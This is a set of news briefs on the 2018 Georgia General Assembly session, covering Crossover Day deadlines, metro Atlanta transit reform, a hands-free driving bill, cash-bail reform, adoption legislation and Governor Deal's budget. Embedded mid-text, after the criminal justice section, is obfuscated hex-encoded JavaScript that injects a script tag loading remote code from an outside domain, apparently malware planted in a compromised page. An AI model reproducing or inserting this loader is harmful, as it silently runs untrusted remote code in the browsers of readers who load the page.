Crossover Day countdown for transit reform, criminal justice reform, and distracted driving

The Georgia General Assembly will enter on Monday one of the session’s most turbulent periods, a half-way point scramble by which all bills must have cleared their originating chamber if they are to be eligible for full passage this year.

The approach of Crossover Day, whose Feb. 28 threshold was inched up by two days from last year amid a desire from Senate leadership to expedite the legislative year, will trigger a marathon of activity by leadership in both chambers to keep on track the session’s priority proposals.

Here’s what we’re watching before Wednesday hard stop:

Transit reform
The years-long effort to reshape transportation services throughout metropolitan Atlanta faces an important test Wednesday, as neither of the two GOP-led transit reform companion bills have passed their respective houses.

The House and Senate Transportation committees last week gave the green light to the bills, which provide for the financing of new transit projects through the creation of a handful of new taxes, including fees and goods sold at the airports in Atlanta and Savannah and another on taxi and ride-hailing fares. The proposals would also recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it govern transit planning in the 13 metro counties with the hope of inspiring greater regional cooperation.

Distracted driving
There’s an effort underway in the House to make Georgia the 16th state in the nation to ban drivers from holding their phones while driving, eliminating alleged enforcement confusion because, while it’s already illegal to text while driving, it remains legal to dial the phone.

The proposal passed out of a House committee last week and awaits debate on the full floor.

Criminal justice
The final pieces of outgoing Governor Nathan Deal’s years-long initiative to reform the state’s criminal justice system is bumping up against the Crossover Day barrier to adoption, but is expected to clear the hurdle just in time.

The governor’s latest criminal justice reform package includes a proposal that would endow state judges with more power to forego cash bail for low-income, non-violent offenders and more options to impose community service instead. The bill is expected to come up for a vote in the Senate on Monday morning. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Transit reform inches forward in Ga. General Assembly

Speaker David Ralston is backing a Republican transit reform package that would reshape transportation services throughout metropolitan Atlanta, signaling the much-anticipated measure should at least get a vote in the House.

The 77-page bill, introduced by Transportation Committee Chairman Kevin Tanner, would recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it to govern transit planning in 13 metro counties: Cherokee, Clayton, Coweta, Cobb, DeKalb, Douglas, Fayette, Forsyth, Fulton, Gwinnett, Henry, Paulding and Rockdale.

The bill would provide financing for new transit projects through the creation of a handful of new taxes, including fees on goods sold at the airports in Atlanta and Savannah and one on taxi and ride-hailing fares.

A companion reform bill is under consideration by the Senate

Elsewhere under the Dome …

Religious conservatives in the Senate have introduced a measure to allow adoption agencies to turn away married same-sex couples, the latest religious liberty effort in the General Assembly. A mirror provision was attached to an adoption reform package last year, killing the bill in the eleventh hour. (An adoption reform bill was passed this year by both chambers after both the governor and speaker demanded a so-called clean bill.)

The House Public Safety Committee green lighted a bill to bring some state oversight to the controversial practice of vehicle booting. The measure now advances to the Rules Committee.

The House voted by near unanimous measure to approve a constitutional amendment to prevent the misappropriation of environmental fees for other purposes in the state budget. Each year, a large portion of revenues collected for the purpose of disposing tires or cleaning hazardous waste sites are leveraged for other expenses.

The Senate OK’d a supplemental spending bill for fiscal year 2018 last week, and the chamber’s slight adjustment to an earlier-passed version goes back to the House for a second time for final passage.

The House Education Committee advanced a proposal to increase funding for State Commission Charter Schools. The current state funding formula is based on the average spending of the five lowest-spending school districts, and the new bill would increase state spending to the average spending of all school districts.

Ga. adoption reform in limbo

UPDATE: Despite Senate leadership’s tight-lipped response to a House compromise on adoption reform, the upper chamber voted nearly unanimously on Monday to advance the bill to Governor Nathan Deal’s desk for consideration. The vote ends a two-year effort under the Gold Dome to overhaul the state’s outmoded systems for placing children with new families. Get all the details here.

The Georgia House of Representatives approved last week a compromise version of an adoption reform package that would make simpler the cumbersome, costly process of placing children with new families.

After a similar bill failed last year when a controversial religious liberty amendment was attached, Governor Nathan Deal and House Speaker David Ralston insisted that the General Assembly take up consideration of a new, clean adoption reform bill. The legislature made good on the governor’s no-religious-liberty-language demand, but the Senate pointedly added a provision to a House-passed bill that would empower parents to give temporary, revocable guardianship to relatives or other qualified adults in an effort to keep children out of the foster care system.

The inclusion of the powers of attorney plank, which was vetoed by the governor in a separate bill last year, complicated the bill’s passage. With it included, the adjusted proposal was kicked back to the House for approval, additional adjustment, or negotiations in conference committee.

After a week of wrangling, the House has offered the Senate a potential compromise, which it passed on a 168-0 vote, but it’s unclear when or if the upper chamber will take action on the reforms. Reportedly, Senate lawmakers are chafed by a new provision in the compromise bill that would make it legal to reimburse birth mothers’ basic living expenses in private adoptions.

Elsewhere in the capitol…

The House Appropriations Committee green lighted the governor’s 2018 supplemental budget, known under the Gold Dome as the “little budget,” which advances next to the Rules Committee. The spending blueprint contains a handful of tweaks from the governor’s proposal, including more funding for the purchase of new school buses and educational-focused mobile welding labs.

Representatives Scott Hilton and Jan Jones have introduced a bill to amend Title 20, proposing basing charter supplement funding on the statewide average of local revenue. Currently, the state charter supplement is based on the average of the lowest five school systems as ranked by the assessed valuation per weighted FTE. The capital revenue calculation would also be applied to certain virtual schools.

The House may take up consideration this week of a proposal that would add opioids to the drug screen for those seeking employment with the state, while the Senate may vote on a bill to allow lottery winners to keep their identity secret if they pay up to 4 percent of their winnings.

Senator Michael Williams, one of several GOP gubernatorial hopefuls, has introduced legislation to protect high school coaches who participate in pre-sporting event prayers with student athletes and boosters.

Representative Jay Powell’s proposal to require sales taxes be paid on all internet purchases won approval last week from the Senate Finance Committee. The bill, which would impact online retailers whose sales exceed $250,000 or those with more than 200 Georgia-based sales per year, easily cleared the House last year.

Ga. House, Senate leadership agree to crossover, sine die dates

The General Assembly’s pace quickened last week after a sluggish start to session, stalled in part by unusual winter weather and a shortage of essential legislative priorities.

After earlier sparring over an adjournment resolution that could have split the two chamber’s work calendars, leadership from the House and Senate agreed to a time table for the remainder of the 2018 session.

The consensus calendar encircled Feb. 28 as crossover day—the point by which any bill must have been green lighted by at least once chamber to remain viable—and March 29 as the final day of session. Leadership has pledged it will adjourn no later than midnight on sine die (from the Latin “without day”), as has occurred in recent years.

Elsewhere under the Gold Dome …

Senator David Shafer, a Republican vying for the open Lt. Governor’s post, has proposed an amendment to the Georgia constitution that would declare English as the official language of the state.

An omnibus health care bill based in part on the policy recommendations of the House Rural Development Council is expected to be dropped this week. The measure is said to include a provision tinkering with the state’s certificate-of-need framework, but won’t repeal the hospital rule in urban areas as was proposed last year by the Council.

Legislation to propose a new structure for the governance and funding of transit in the metro Atlanta area are being finalized and will likely be introduced this week or next.

A bipartisan group of senators are backing legislation to reduce Georgia Power’s profits on the multi-billion dollar Plant Vogtle nuclear facility by restricting the so-called nuclear tariff the utility has been charging customers’ since 2011 to finance the project. Under the bill, Georgia Power would no longer be allowed to charge the financing fee on parts of the notoriously laggard project that had fallen behind the original schedule.

The Senate voted 49-0 last week to approve a raft of technical adjustments to the state’s garnishment law, which was overhauled two years earlier amid a rebuke by federal courts. The updates would bring the state code into alignment with federal garnishment rules.

Georgia General Assembly closes out week one: Deal’s State of the State and budget proposal, and House and Senate sync calendars

Georgia Governor Nathan Deal delivered his final State of the State address Thursday, using the occasion before the General Assembly as something of a victory lap: an unemployment rate at its lowest point in a decade, industry accolades as the best state in which to do business, significant investments in education and transportation, and criminal justice reform.

Declaring Georgia “not just strong” but “exceptional,” Deal, who became visibly emotional throughout the speech as he reflected on the work of the previous seven years, was pointedly light on his administration’s priorities for the new year.

Instead, some clues can be found in the budget proposal he submitted to lawmakers shortly after his address. The proposed spending blueprint for fiscal year 2019 doesn’t contain any radical reorganization of the state’s priorities, but instead provides for a little more of the same from years before:

  • $361.7 million for the Teachers Retirement System;
  • #127.6 million for K-12 enrollment growth, training, and experience;
  • $30 million to assist low-wealth school systems;
  • $54.3 million for resident instruction at University System institutions;
  • $5.9 million for operations for the Georgia Cyber Innovation and Training Center;
  • $34.4 million for growth in the Dual Enrollment program;
  • $255.9 million for Medicaid to fund growth and offset the loss of federal and other funds;
  • $28.8 million for child welfare services to fund out-of-home care growth and foster care per diem increases;
  • $22.9 million to implement recommendations from the Commission on Children’s Mental Health;
  • $5 million for accountability courts to implement new courts and expand existing courts;
  • $31.7 million in new motor fuel funds for transportation; and
  • $100 million in bond funds to repair and replace bridges throughout the state.

The challenges of passing a balanced budget—the General Assembly’s lone constitutional obligation—are complicated this year by federal action on the recently passed overhaul of the US tax system, which could decrease state revenues, and whether the US Congress renews the Children’s Health Insurance Program, known locally as Peachcare.

Elsewhere in the state capitol, the Senate remedied a lingering procedural issue Thursday by passing an adjournment resolution passed three days earlier by the House that would sync the two chambers’ legislative calendars. And the Senate Judiciary Committee advanced a version of an adoption reform package without a controversial  religious liberty provisions that doomed the bill in the final hours of last year’s session.

The two actions represent significant concessions by Senate leadership and Lt. Governor Casey. Last year’s poison pill amendment that would have allowed adoption agencies to discriminate against same-sex couples was removed although a provision allowing for transfer of child custody through a power of attorney to a close relative or friend was attached. Whether this satisfies House leadership or Governor Deal, who have called for a clean adoption bill is yet to be seen.

Notably, the adjournment resolution is important to Lt. Governor Cagle, who is eager to finish the legislative season as soon as possible so  fundraising can resume, which is barred during session for ethics reasons, in his campaign for governor later this year.

After religious liberty flap, ACC moves games from NC to GA

The ACC announced Tuesday it would relocate to Georgia a trio of collegiate championship games from North Carolina, whose Republican governor signed into law earlier this year a contentious religious liberty measure similar to one vetoed by his GOP counterpart here in the Peach State.

The games’ reassignment–two in Atlanta and a third in Rome–seemingly validates the decision by Georgia Gov. Nathan Deal to veto House Bill 757, which suffered an avalanche of criticism from big business and gay rights groups nationwide.

In a press conference announcing the April veto, Deal said he believed the legislation “could give rise to state-sanctioned discrimination” of the sort that would drive business–and tourism–from the state.

The ACC announcement follows a similar decision in September by the NCAA, which withdrew seven championships from North Carolina in protest over the state’s religious liberty bill.